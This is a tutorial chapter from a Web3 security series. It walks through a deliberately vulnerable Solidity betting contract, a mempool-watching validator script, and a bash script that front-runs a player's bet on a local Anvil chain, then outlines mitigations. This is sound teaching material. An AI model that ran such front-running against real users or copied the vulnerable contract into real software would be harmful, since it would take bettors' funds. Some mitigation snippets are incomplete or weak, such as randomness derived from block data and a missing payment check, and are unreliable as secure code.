Simulating Front-Running Attacks in Ethereum: A Deep Dive with Foundry and Anvil

19 min read

December 1, 2024

Web3 Exploitation Fundamentals: Navigating Security in Decentralized Systems
Simulating Front-Running Attacks in Ethereum: A Deep Dive with Foundry and Anvil

Table of contents

What is a Front-Running Vulnerability?

In the world of blockchain, where transparency is both a strength and a potential weakness, a front-running vulnerability is a type of exploit that takes advantage of the visibility of transactions in the mempool (the waiting area where transactions are queued before being added to the blockchain). Essentially, it's a form of transaction hijacking where an attacker anticipates another user's transaction and inserts their own with a higher gas fee to ensure it is processed first.

Let’s break it down:

When you submit a transaction to a blockchain, it doesn't get added to a block immediately. Instead, it goes into the mempool, where miners (or validators) prioritize which transactions to process based on gas fees. A front-runner monitors this mempool, identifies valuable transactions, and submits a similar transaction with a higher gas fee. The miner, incentivized to maximize profit, will typically include the front-runner’s transaction first, allowing the attacker to gain an advantage.

This vulnerability is particularly prevalent in decentralized finance (DeFi), token swaps, and NFT marketplaces, where timing and order of transactions can significantly impact outcomes. For example:

  • In token trades, an attacker can buy tokens before a large buy order and sell them at a profit once the price rises.
  • In betting systems, they can place larger bets just ahead of other participants to disproportionately benefit from the payout structure.

Front-running isn't a flaw in blockchain technology itself but rather a side effect of the transparent and open nature of decentralized systems. While blockchain's transparency ensures trustlessness and security, it also means that transaction details are visible to everyone, including attackers.

To understand this better, let’s dive into an example where we simulate a front-running attack on a smart contract.

Vulnerable Smart Contract

In this chapter, we’re going to test a front-running vulnerability in a smart contract. Like in the previous chapter, we’ll use Foundry instead of Hardhat to run our tests. If you’re unfamiliar with Foundry or need help setting it up, refer back to the earlier chapter for a detailed guide on configuration. For now, let’s focus on understanding the contract we’ll be working with.

The smart contract, BiomechanicalRace, represents a simple betting system where users can place bets on racing creatures. After the race concludes, the bettors who backed the winning creature can claim rewards proportional to their contributions. Let’s break it down step by step, examining its functionality and structure through its code.

All code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract BiomechanicalRace {
    struct Creature {
        string name;
        uint256 totalBets; // Total ETH bet on this creature
    }

    bool public raceFinished;
    uint256 public totalBets;
    uint256 public multiplier = 100; // Initial multiplier (100%)
    uint256 public multiplierStep = 10; // Each bet decreases the multiplier by 10%

    mapping(uint256 => Creature) public creatures; // Mapping of creatures
    mapping(address => mapping(uint256 => uint256)) public bets; // Bets by user and creature
    mapping(address => uint256) public rewards; // Rewards for each user after the race

    address[] public participants; // List of all participants
    mapping(address => bool) public hasPlacedBet; // To avoid duplicate entries in the participant list

    constructor() {
        // Initialize creatures for the race
        creatures[1] = Creature("CyberLynx", 0);
        creatures[2] = Creature("MechaEagle", 0);
    }

    /**
     * @dev Allows users to place a bet on a specific creature.
     * @param creatureId The ID of the creature to bet on.
     */
    function placeBet(uint256 creatureId) external payable {
        require(!raceFinished, "Race has already ended");
        require(msg.value > 0, "Bet amount must be greater than zero");
        require(
            bytes(creatures[creatureId].name).length > 0,
            "Invalid creature ID"
        );
        require(multiplier > 0, "Multiplier depleted");

        // Apply the multiplier to the bet
        uint256 adjustedBet = (msg.value * multiplier) / 100;

        // Update bet data
        creatures[creatureId].totalBets += adjustedBet;
        totalBets += adjustedBet;
        bets[msg.sender][creatureId] += adjustedBet;

        // Add the participant to the list if not already added
        if (!hasPlacedBet[msg.sender]) {
            participants.push(msg.sender);
            hasPlacedBet[msg.sender] = true;
        }

        // Reduce the multiplier for the next bet
        if (multiplier > multiplierStep) {
            multiplier -= multiplierStep;
        } else {
            multiplier = 0; // Ensure multiplier does not go negative
        }
    }

    /**
     * @dev Ends the race and calculates rewards for the winning creature's bettors.
     * @param winnerId The ID of the winning creature.
     */
    function endRace(uint256 winnerId) external {
        require(!raceFinished, "Race already ended");
        require(
            bytes(creatures[winnerId].name).length > 0,
            "Invalid winner ID"
        );

        raceFinished = true;

        uint256 totalWinnerBets = creatures[winnerId].totalBets;

        // Assign rewards proportional to each user's winning bet
        for (uint256 i = 0; i < participants.length; i++) {
            address user = participants[i];
            uint256 userBet = bets[user][winnerId];
            if (userBet > 0) {
                rewards[user] =
                    (userBet * address(this).balance) /
                    totalWinnerBets;
            }
        }
    }

    /**
     * @dev Allows users to claim their winnings after the race has ended.
     */
    function claimWinnings() external {
        require(raceFinished, "Race is not finished yet");
        uint256 winnings = rewards[msg.sender];
        require(winnings > 0, "No winnings to claim");

        rewards[msg.sender] = 0;
        payable(msg.sender).transfer(winnings);
    }

    /**
     * @dev Returns the list of participants who placed bets in the race.
     * @return An array of participant addresses.
     */
    function getParticipants() external view returns (address[] memory) {
        return participants;
    }
}

Data Structures

The contract begins by defining its core data structure, a Creature. Each creature has a name and tracks the total ETH bet on it. Additionally, the contract maintains a flag to check if the race has concluded (raceFinished), tracks the total amount of ETH bet across all creatures, and introduces a unique multiplier mechanic to incentivize early betting.

Here’s the relevant part of the code:

struct Creature {
    string name;
    uint256 totalBets; // Total ETH bet on this creature
}

bool public raceFinished;
uint256 public totalBets;
uint256 public multiplier = 100; // Initial multiplier (100%)
uint256 public multiplierStep = 10; // Each bet decreases the multiplier by 10%

The contract also uses mappings to store bets, calculate rewards, and keep track of participants. A dynamic array, participants, stores all bettors, ensuring no duplicate entries through the hasPlacedBet mapping.

mapping(uint256 => Creature) public creatures; // Mapping of creatures
mapping(address => mapping(uint256 => uint256)) public bets; // Bets by user and creature
mapping(address => uint256) public rewards; // Rewards for each user after the race
address[] public participants; // List of all participants
mapping(address => bool) public hasPlacedBet; // To avoid duplicate entries in the participant list

Placing a Bet

The placeBet function allows users to bet on a specific creature. Before processing the bet, it performs several checks:

  • The race must still be active.
  • The amount bet must be greater than zero.
  • The specified creature ID must be valid.
  • The multiplier must still have value to apply adjustments to the bet.

Once these conditions are met, the bet is adjusted using the multiplier, rewarding early bettors with higher effective contributions. The adjusted bet is added to the chosen creature’s total bets, and the bettor’s details are updated. If the bettor is new, they’re added to the participants list.

Here’s how it’s implemented:

function placeBet(uint256 creatureId) external payable {
    require(!raceFinished, "Race has already ended");
    require(msg.value > 0, "Bet amount must be greater than zero");
    require(bytes(creatures[creatureId].name).length > 0, "Invalid creature ID");
    require(multiplier > 0, "Multiplier depleted");

    uint256 adjustedBet = (msg.value * multiplier) / 100;
    creatures[creatureId].totalBets += adjustedBet;
    totalBets += adjustedBet;
    bets[msg.sender][creatureId] += adjustedBet;

    if (!hasPlacedBet[msg.sender]) {
        participants.push(msg.sender);
        hasPlacedBet[msg.sender] = true;
    }

    if (multiplier > multiplierStep) {
        multiplier -= multiplierStep;
    } else {
        multiplier = 0;
    }
}

This function not only tracks bets but also adjusts the multiplier, ensuring it decreases over time to encourage early participation.

Ending the Race

Once the race concludes, the endRace function is used to determine the winning creature and calculate rewards for its backers. The function verifies that the race has not already ended and that the winning creature ID is valid. It then calculates the total amount of ETH bet on the winning creature and iterates over all participants to assign rewards proportional to their contributions.

The code for this logic is as follows:

function endRace(uint256 winnerId) external {
    require(!raceFinished, "Race already ended");
    require(bytes(creatures[winnerId].name).length > 0, "Invalid winner ID");

    raceFinished = true;

    uint256 totalWinnerBets = creatures[winnerId].totalBets;

    for (uint256 i = 0; i < participants.length; i++) {
        address user = participants[i];
        uint256 userBet = bets[user][winnerId];
        if (userBet > 0) {
            rewards[user] = (userBet * address(this).balance) / totalWinnerBets;
        }
    }
}

This function finalizes the race, preventing further bets, and prepares the rewards mapping for users to claim their winnings.

Claiming Winnings

After the race is completed and rewards are calculated, users can claim their winnings using the claimWinnings function. The function ensures that:

  • The race has concluded.
  • The user has winnings to claim.

If these conditions are met, it transfers the calculated amount to the user and resets their reward balance.

function claimWinnings() external {
    require(raceFinished, "Race is not finished yet");
    uint256 winnings = rewards[msg.sender];
    require(winnings > 0, "No winnings to claim");

    rewards[msg.sender] = 0;
    payable(msg.sender).transfer(winnings);
}

This function ensures that only legitimate claims are processed and that rewards are paid out efficiently.

Participants Management

To facilitate the reward calculation process, the contract maintains a list of all participants through the participants array. The getParticipants function provides a way to retrieve this list, allowing anyone to view the bettors involved in the race.

function getParticipants() external view returns (address[] memory) {
    return participants;
}

Exploiting the Front-Running Vulnerability

Now that we’ve explored the BiomechanicalRace contract in detail, let’s delve into the strategy for exploiting its vulnerability. The contract's design, particularly its use of a diminishing multiplier to reward early bets, makes it susceptible to front-running attacks. In this section, we’ll outline the exploitation strategy and then walk through the test case that simulates this attack using Foundry.

The Exploitation Strategy

The front-running attack leverages the transparency of the blockchain, specifically the way transactions are prioritized and processed based on gas fees. In this simulation, we’ll break down how the attack is executed step by step while showcasing the tools and scripts used to replicate it.

Monitoring the Mempool

In a real-world scenario, an attacker continuously monitors the mempool (the transaction queue) for incoming bets placed by other participants. The attacker’s goal is to identify these transactions, especially those with lower gas prices, which are less likely to be prioritized by validators.

In this simulation, we mimic the mempool monitoring process using our custom validator. The validator scans and prioritizes transactions based on their gas prices. This gives us a controlled environment to simulate the behavior of a front-runner while maintaining the integrity of our attack simulation.

💡
Note: While we won’t automate the mempool monitoring process for the attacker in this chapter, such a script would be very similar to the custom validator script. Instead of prioritizing transactions for mining, the attacker would analyze the mempool to detect specific patterns or targets (like Player1’s bet) and respond by crafting their own higher-priority transactions.

Placing a Front-Running Transaction

Once the attacker detects Player1’s transaction in the mempool, they respond by crafting their own transaction with a higher gas fee. The higher gas fee ensures that validators process the attacker’s transaction first, granting them priority access to the contract’s diminishing multiplier.

In this simulation:

  1. Player1’s Bet: Player1 places a bet on a creature with a gas price of 70 gwei.
  2. Attacker’s Bet: The attacker places a competing bet with a gas price of 80 gwei.

By using our custom validator, we ensure that the attacker’s higher gas price gives them priority, and their transaction is mined before Player1’s.

Benefiting from the Multiplier Advantage

The BiomechanicalRace contract uses a diminishing multiplier system to incentivize early betting. The first bet processed receives the highest multiplier, and subsequent bets see progressively lower rewards.

  • Attacker’s Transaction: Mined first, benefiting from a higher multiplier, resulting in a better-adjusted bet.
  • Player1’s Transaction: Mined later, with a reduced multiplier, leading to less favorable terms.

The custom validator simulates this prioritization realistically, enabling us to observe the attacker’s advantage clearly.

Claiming Rewards

After the race concludes and the winning creature is declared:

  1. The Player and Attacker Claim Winnings: The rewards are distributed based on the adjusted bets and total pool of ETH.
  2. Disproportionate Rewards: Due to the front-running, the attacker claims a significantly larger share of the rewards compared to Player1.

Simulating the Attack Using Anvil, Cast, and a Custom Validator

In the previous chapter, we explored how to analyze vulnerabilities using Foundry’s built-in testing mechanisms, leveraging its powerful framework to write and execute automated tests directly in Solidity. This time, we’ll take a slightly different approach to broaden our perspective and explore additional tools in the blockchain development ecosystem. Specifically, we’ll simulate a vulnerability using Anvil and Cast, alongside a custom-built validator, to replicate real-world scenarios and gain a deeper understanding of how these tools interact and function in practice.

What is Anvil?

Anvil is a powerful tool provided by the Foundry suite, designed to act as a lightweight, high-speed local Ethereum node. It serves as a testing and development blockchain, similar to tools like Ganache or Hardhat Network. Anvil enables developers to simulate blockchain environments for smart contract testing, debugging, and experimentation.

Key features of Anvil include:

  • A fully-featured local blockchain environment with instant transaction processing.
  • Preconfigured accounts with ETH for testing purposes.
  • The ability to manipulate block timing, mining, and chain state for fine-grained control.
  • Seamless integration with Foundry's tools like forge and cast.
Example of Anvil after running

What is Cast?

Cast is a command-line interface tool within the Foundry ecosystem that allows developers to interact directly with Ethereum networks. It’s highly versatile, enabling everything from sending transactions to querying contract state and balances.

Key features of Cast include:

  • Simple commands for deploying contracts and interacting with smart contracts.
  • Support for querying blockchain data, such as balances, gas prices, and block details.
  • Compatibility with both local (Anvil) and live networks.

Here is an example of running cast to deploy the vulnerable contract:

forge create src/BiomechanicalRace.sol:BiomechanicalRace --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80  --rpc-url "http://localhost:8545"
[⠊] Compiling...
[⠆] Compiling 1 files with Solc 0.8.28
[⠰] Solc 0.8.28 finished in 166.76ms
Compiler run successful!
Deployer: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Deployed to: 0x5FbDB2315678afecb367f032d93F642f64180aa3
Transaction hash: 0x33382874b2c20d8a59c8e7ae9b499f0eeee8bb20f042879008a787d2857e90ca

Setting the Stage for the Attack Simulation

For this simulation, we will leverage both Anvil and Cast to recreate a realistic blockchain environment where we execute and observe the behavior of a front-running attack.

  • Anvil will provide the blockchain infrastructure, with accounts funded and transactions processed locally, mimicking the Ethereum mainnet.
  • Cast will allow us to programmatically deploy contracts, send transactions, and monitor balances.

Introducing the Custom Validator

In addition to Anvil and Cast, we will use a custom validator—a script we developed to simulate the role of a real blockchain validator. This validator:

  • Monitors the pending transaction pool (mempool).
  • Prioritizes transactions based on gas prices.
  • Simulates mining behavior by selecting high-priority transactions for inclusion in blocks.

Simulating the Validator for Front-Running

Now that we've explored the BiomechanicalRace contract and the concept of front-running vulnerabilities, it’s time to introduce another layer to our simulation: a custom validator. This component helps us mimic real-world blockchain behavior where validators select and process transactions based on specific criteria, such as gas prices.

Understanding Validators

Validators are the backbone of blockchain networks. Their role is to verify transactions, bundle them into blocks, and append these blocks to the blockchain. In Ethereum, validators (or miners, in the case of Proof-of-Work) typically prioritize transactions with higher gas fees because these offer greater rewards. This behavior creates an opportunity for front-runners to exploit the mempool, submitting transactions with higher fees to get ahead in the queue.

In our simulation, we’ll use a custom-built validator script to recreate this decision-making process. The validator will:

  1. Monitor the Mempool: Listen for pending transactions.
  2. Prioritize Transactions: Sort transactions by gas price to simulate real-world prioritization.
  3. Simulate Mining: Include the highest-priority transactions in a block.

Prerequisites

To use the validator, ensure the following are installed:

  • Node.js: The runtime for executing the validator script.
  • ethers.js: A library for Ethereum blockchain interactions.
  • axios: An HTTP client for sending RPC requests to Anvil.

Install the necessary dependencies with the following command:

npm install ethers axios

For a smooth development experience, install nodemon, a utility that automatically restarts the script when changes are made:

npm install -g nodemon

The Validator Script

Below is the custom validator script. Save it as validator.js:

Validator Script
const { ethers } = require("ethers");
const axios = require("axios");

// Connect to Anvil
const provider = new ethers.JsonRpcProvider("http://localhost:8545");

console.log("Validator connected to Anvil");

// List to store pending transactions
let pendingTransactions = [];

// Listen for pending transactions
provider.on("pending", async (txHash) => {
  try {
    const tx = await provider.getTransaction(txHash);

    if (tx) {
      console.log("\nTransaction detected:");
      console.log(`  Hash: ${tx.hash}`);
      console.log(`  From: ${tx.from}`);
      console.log(`  To: ${tx.to || "Contract Deployment"}`);
      console.log(`  Value: ${ethers.formatEther(tx.value)} ETH`);

      const gasPrice = tx.gasPrice || tx.maxFeePerGas; // Handle different transaction types
      console.log(`  Gas Price: ${ethers.formatUnits(gasPrice, "gwei")} gwei`);

      // Add to local mempool
      pendingTransactions.push(tx);
      console.log("Transaction added to local mempool.");
    }
  } catch (error) {
    console.error(`Error processing transaction ${txHash}:`, error);
  }
});

// Simulate block mining every 10 seconds
setInterval(async () => {
  if (pendingTransactions.length > 0) {
    console.log("\nMining a new block...");

    // Sort transactions by gas price (descending order)
    pendingTransactions.sort((a, b) => {
      const gasA = a.maxFeePerGas || a.gasPrice;
      const gasB = b.maxFeePerGas || b.gasPrice;
      return gasB.gt(gasA) ? 1 : -1; // Prioritize higher gas
    });

    const selectedTx = pendingTransactions.shift(); // Select the highest-priority transaction

    try {
      console.log("Selected transaction for mining:", selectedTx.hash);

      // Simulate block mining using Anvil's RPC
      await axios.post("http://localhost:8545", {
        jsonrpc: "2.0",
        method: "evm_mine",
        params: [],
        id: 1,
      });

      console.log("Transaction mined in new block:", selectedTx.hash);
    } catch (error) {
      console.error("Error mining transaction:", error.message);
    }
  }
}, 10000); // Attempt to mine every 10 seconds

// Listen for new blocks
provider.on("block", (blockNumber) => {
  console.log(`\nNew block mined: ${blockNumber}`);
});

What The Validator does

  • Transaction Monitoring: The validator continuously listens for pending transactions and logs their details (e.g., sender, recipient, value, and gas price).
  • Transaction Sorting: Transactions are sorted by gas price, prioritizing those with higher fees.
  • Block Mining Simulation: The validator uses Anvil’s evm_mine RPC method to simulate block mining, ensuring prioritized transactions are processed first.

Explaining the Attack Simulation Script

The script is designed to simulate a front-running attack on the BiomechanicalRace contract, leveraging the transparency of the blockchain and transaction prioritization based on gas fees. Below, we’ll break down the script step by step, explaining each part and its role in the simulation.

The attack Simulation Script
#!/bin/bash

# Forzar el formato de números en inglés (punto como separador decimal)
export LC_NUMERIC="en_US.UTF-8"

# Set up variables
RPC_URL="http://localhost:8545"
ADMIN_PK="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80"
PLAYER_PK="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"
ATTACKER_PK="0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a"
CONTRACT_NAME="BiomechanicalRace"
CONTRACT_PATH="src/BiomechanicalRace.sol:$CONTRACT_NAME"

# Deploy contract using forge
echo "Deploying contract using forge..."
CONTRACT_ADDRESS=$(forge create $CONTRACT_PATH \
                             --private-key $ADMIN_PK \
                             --rpc-url $RPC_URL | grep "Deployed to" | awk '{print $NF}')
echo "Contract deployed at: $CONTRACT_ADDRESS"

# Fund contract with 20 ETH
echo "Funding contract with 20 ETH..."
cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $ADMIN_PK \
          --value 20ether
echo "Contract funded."

# Player places a bet (in background)
echo "Player placing a bet..."
cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $PLAYER_PK \
          --value 3ether \
          --gas-price 70000000000 \
          "placeBet(uint256)" 1 &
player_pid=$!

# Attacker places a front-running bet with higher gas price (in background)
echo "Attacker placing a front-running bet..."
cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $ATTACKER_PK \
          --value 3ether \
          --gas-price 80000000000 \
          "placeBet(uint256)" 1 &
attacker_pid=$!

# Wait for both transactions to complete
wait $player_pid
wait $attacker_pid

echo "Both bets placed."

# End the race and declare a winner
echo "Ending the race..."
cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $ADMIN_PK \
          "endRace(uint256)" 1
echo "Race ended. Winner declared."

# Player claims winnings
echo "Player claiming winnings..."
cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $PLAYER_PK \
          "claimWinnings()"
echo "Player winnings claimed."

# Attacker claims winnings
echo "Attacker claiming winnings..."
cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $ATTACKER_PK \
          "claimWinnings()"
echo "Attacker winnings claimed."

# Display final balances
echo "Final balances:"
admin_balance=$(cast balance 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 --rpc-url $RPC_URL)
player_balance=$(cast balance 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 --rpc-url $RPC_URL)
attacker_balance=$(cast balance 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC --rpc-url $RPC_URL)

# Convert balances to ETH
admin_eth=$(awk "BEGIN {print $admin_balance / 10^18}")
player_eth=$(awk "BEGIN {print $player_balance / 10^18}")
attacker_eth=$(awk "BEGIN {print $attacker_balance / 10^18}")

# Round to 4 decimal places
admin_eth=$(printf "%.4f" $admin_eth)
player_eth=$(printf "%.4f" $player_eth)
attacker_eth=$(printf "%.4f" $attacker_eth)

echo "Admin: $admin_eth ETH"
echo "Player: $player_eth ETH"
echo "Attacker: $attacker_eth ETH"

Step 1: Deploying the Contract

The script starts by deploying the smart contract to the Anvil blockchain. This sets up the environment with the vulnerable contract.

CONTRACT_ADDRESS=$(forge create $CONTRACT_PATH \
                             --private-key $ADMIN_PK \
                             --rpc-url $RPC_URL | grep "Deployed to" | awk '{print $NF}')
echo "Contract deployed at: $CONTRACT_ADDRESS"

Here, the contract is deployed using forge create, and its address is captured into the variable CONTRACT_ADDRESS for further interactions.

Step 2: Funding the Contract

The next step is to fund the contract with 20 ETH to ensure it can pay rewards after the race concludes.

cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $ADMIN_PK \
          --value 20ether
echo "Contract funded."

This transaction sends 20 ETH from the admin account to the deployed contract.

Step 3: Placing Bets

The script simulates a legitimate player placing a bet. This transaction is sent in the background. Simultaneously, the attacker places a front-running bet with a higher gas price to ensure their transaction is prioritized.

Player’s bet:

cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $PLAYER_PK \
          --gas-price 70000000000 \
          "placeBet(uint256)" 1 &
player_pid=$!

Attacker’s bet:

cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $ATTACKER_PK \
          --value 3ether \
          --gas-price 80000000000 \
          "placeBet(uint256)" 1 &
attacker_pid=$!

Both transactions are sent concurrently using the & operator, and the script waits for them to complete with the following:

wait $player_pid
wait $attacker_pid

This setup creates a realistic scenario where the attacker exploits the higher gas fee to front-run the player’s bet.

Step 4: Ending the Race

The admin concludes the race by declaring a winner. This triggers the contract’s logic to calculate rewards for participants.

cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $ADMIN_PK \
          "endRace(uint256)" 1
echo "Race ended. Winner declared."

Step 5: Claiming Winnings

Both the player and the attacker claim their winnings after the race ends. The attacker’s front-running bet ensures they receive a disproportionately higher reward.

Player claiming winnings:

cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $PLAYER_PK \
          "claimWinnings()"
echo "Player winnings claimed."

Attacker claiming winnings:

cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $ATTACKER_PK \
          "claimWinnings()"
echo "Attacker winnings claimed."

Step 6: Displaying Final Balances

The script retrieves and displays the final balances of the admin, player, and attacker. The balances are converted from wei to ETH for readability.

Fetching balances:

admin_balance=$(cast balance 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 --rpc-url $RPC_URL)
player_balance=$(cast balance 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 --rpc-url $RPC_URL)
attacker_balance=$(cast balance 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC --rpc-url $RPC_URL)

Converting to ETH:

admin_eth=$(awk "BEGIN {print $admin_balance / 10^18}")
player_eth=$(awk "BEGIN {print $player_balance / 10^18}")
attacker_eth=$(awk "BEGIN {print $attacker_balance / 10^18}")

Formatting for output:

echo "Admin: $admin_eth ETH"
echo "Player: $player_eth ETH"
echo "Attacker: $attacker_eth ETH"

Executing the Complete Simulation

Now that we’ve set up the necessary tools and scripts, let’s execute the simulation from start to finish. This includes running Anvil with a custom block mining time, executing our attack script, and analyzing the results to understand how gas price manipulation influences the outcome of the front-running attack.

Step 1: Launching Anvil with a Block Time

To give our custom validator enough time to prioritize and mine transactions before Anvil automatically processes them, we’ll start Anvil with a block time of 20 seconds. This ensures that the transactions are mined by our script rather than Anvil’s default automatic behavior.

Run the following command to start Anvil:

anvil --block-time 20

Step 2: Starting the Validator

With Anvil running, the next step is to start our custom validator. The validator monitors the mempool for incoming transactions, prioritizes them based on gas prices, and simulates block mining. This ensures that transactions with higher gas prices are processed first.

Run the following command to start the validator:

nodemon validator.js
Validator's logs

Step 3: Running the Attack Script

With Anvil running, execute the attack simulation script. This script deploys the BiomechanicalRace contract, funds it, simulates the player’s and attacker’s bets, ends the race, and displays the final balances.

Run the script:

bash simulate-attack.sh
Running the attack

Step 4: Observing the Effect of Gas Prices

The simulation clearly demonstrates how gas price manipulation impacts transaction prioritization. When the attacker sets a higher gas price (e.g., 80 gwei) compared to the player's lower gas price (e.g., 70 gwei), the validator prioritizes the attacker’s transaction, allowing it to be processed first. This gives the attacker access to a more favorable multiplier under the BiomechanicalRace contract, maximizing their rewards.

In contrast, when the player uses a higher gas price, their transaction gets processed first, shifting the advantage in their favor. The following results showcase the outcomes in both scenarios:

  • Attacker Prioritization (Higher Gas): The attacker receives disproportionately larger rewards due to their transaction being mined first.
  • Player Prioritization (Higher Gas): The player secures better winnings, showcasing how gas price effectively alters transaction order and payout structure.
This is the case when the Attacker use more Gas than the Player
Opposite case

The differences in the final ETH balances underscore the significant influence of gas price on transaction order and outcomes, reinforcing how open and transparent mempool systems can be exploited without proper safeguards.

Making the Contract Secure

One effective strategy to mitigate front-running is the commit-reveal scheme. In this approach, bettors first submit a hashed version of their bet during a commit phase, concealing the details of their transaction. Later, in a reveal phase, the bettor discloses the actual bet details along with the corresponding hash. This ensures that no one, including potential attackers, can discern the contents of a bet until it is revealed. For example, in the BiomechanicalRace contract, this would involve storing the hash of the bet during the commit phase:

mapping(address => bytes32) public commitHashes;
bool public commitPhase;

function commitBet(bytes32 hash) external {
    require(commitPhase, "Commit phase is not active");
    commitHashes[msg.sender] = hash;
}

Once the commit phase ends, users can reveal their bets by submitting the details along with the original hash:

function revealBet(uint256 creatureId, uint256 amount, bytes32 salt) external payable {
    require(!commitPhase, "Reveal phase is not active");
    require(commitHashes[msg.sender] == keccak256(abi.encodePacked(creatureId, amount, salt)), "Invalid reveal");

    creatures[creatureId].totalBets += amount;
    bets[msg.sender][creatureId] += amount;
    totalBets += amount;
}

This method ensures that bet details are obscured during submission, mitigating the risk of front-running.

Another layer of protection can be added through randomized bet processing. By introducing a mechanism that processes bets in a non-deterministic order, attackers cannot predict which bets will be prioritized. In the BiomechanicalRace contract, bets could be shuffled based on a pseudo-random value derived from block data:

function processBetsRandomly() external {
    uint256 randomIndex = uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % participants.length;
    address randomParticipant = participants[randomIndex];
    uint256 betAmount = bets[randomParticipant][1]; // Example for creature ID 1
    creatures[1].totalBets += betAmount;
    delete bets[randomParticipant][1];
}

For scenarios requiring enhanced privacy, incorporating off-chain signing can be valuable. With this approach, users generate and sign their bet data off-chain. The contract only verifies the signature on-chain, ensuring that the transaction details remain concealed until processing. In the BiomechanicalRace contract, this could look like:

function placeSignedBet(
    uint256 creatureId,
    uint256 amount,
    bytes32 salt,
    bytes memory signature
) external payable {
    require(msg.value == amount, "Incorrect ETH amount");
    bytes32 message = keccak256(abi.encodePacked(creatureId, amount, salt, address(this)));
    require(recoverSigner(message, signature) == msg.sender, "Invalid signature");

    creatures[creatureId].totalBets += amount;
    totalBets += amount;
}

Additionally, implementing time-locks ensures that transactions are processed in batches within a set time frame, reducing the advantage of being the first to submit a transaction. The BiomechanicalRace contract could integrate time-locks to group bets:

uint256 public batchStartTime;
uint256 public batchDuration = 10 minutes;

function startBatch() external {
    batchStartTime = block.timestamp;
}

function processBatchBets() external {
    require(block.timestamp >= batchStartTime + batchDuration, "Batch time not elapsed");
    // Process all bets placed during the batch
}

Conclusions

Front-running vulnerabilities highlight the tension between transparency and security in blockchain systems. Using the BiomechanicalRace contract, we demonstrated how attackers exploit transaction visibility to gain an unfair advantage, leveraging tools like Anvil, Cast, and a custom validator to simulate and analyze the attack in detail. This process reinforced the need for robust smart contract design to mitigate such risks.

Key Takeaways:

  1. Understanding Vulnerabilities: Front-running is not a flaw in blockchain technology but a byproduct of its transparency, emphasizing the need for secure transaction ordering mechanisms.
  2. Practical Demonstration: By simulating attacks, we gained insight into how malicious actors exploit mempool visibility and the importance of prioritizing preventive measures.
  3. Mitigation Strategies: Approaches like commit-reveal schemes or off-chain signing can effectively address vulnerabilities, though they require balancing usability and security.

This exploration underscores the importance of comprehensive testing and innovative design strategies to build secure and trustworthy blockchain applications.

References

Chapters

Botón Anterior
The Traitor Within: Reentrancy Attacks Explained and Resolved

Previous chapter

Breaking the Bet: Simulating Flash Loan Attacks in Decentralized Systems

Next chapter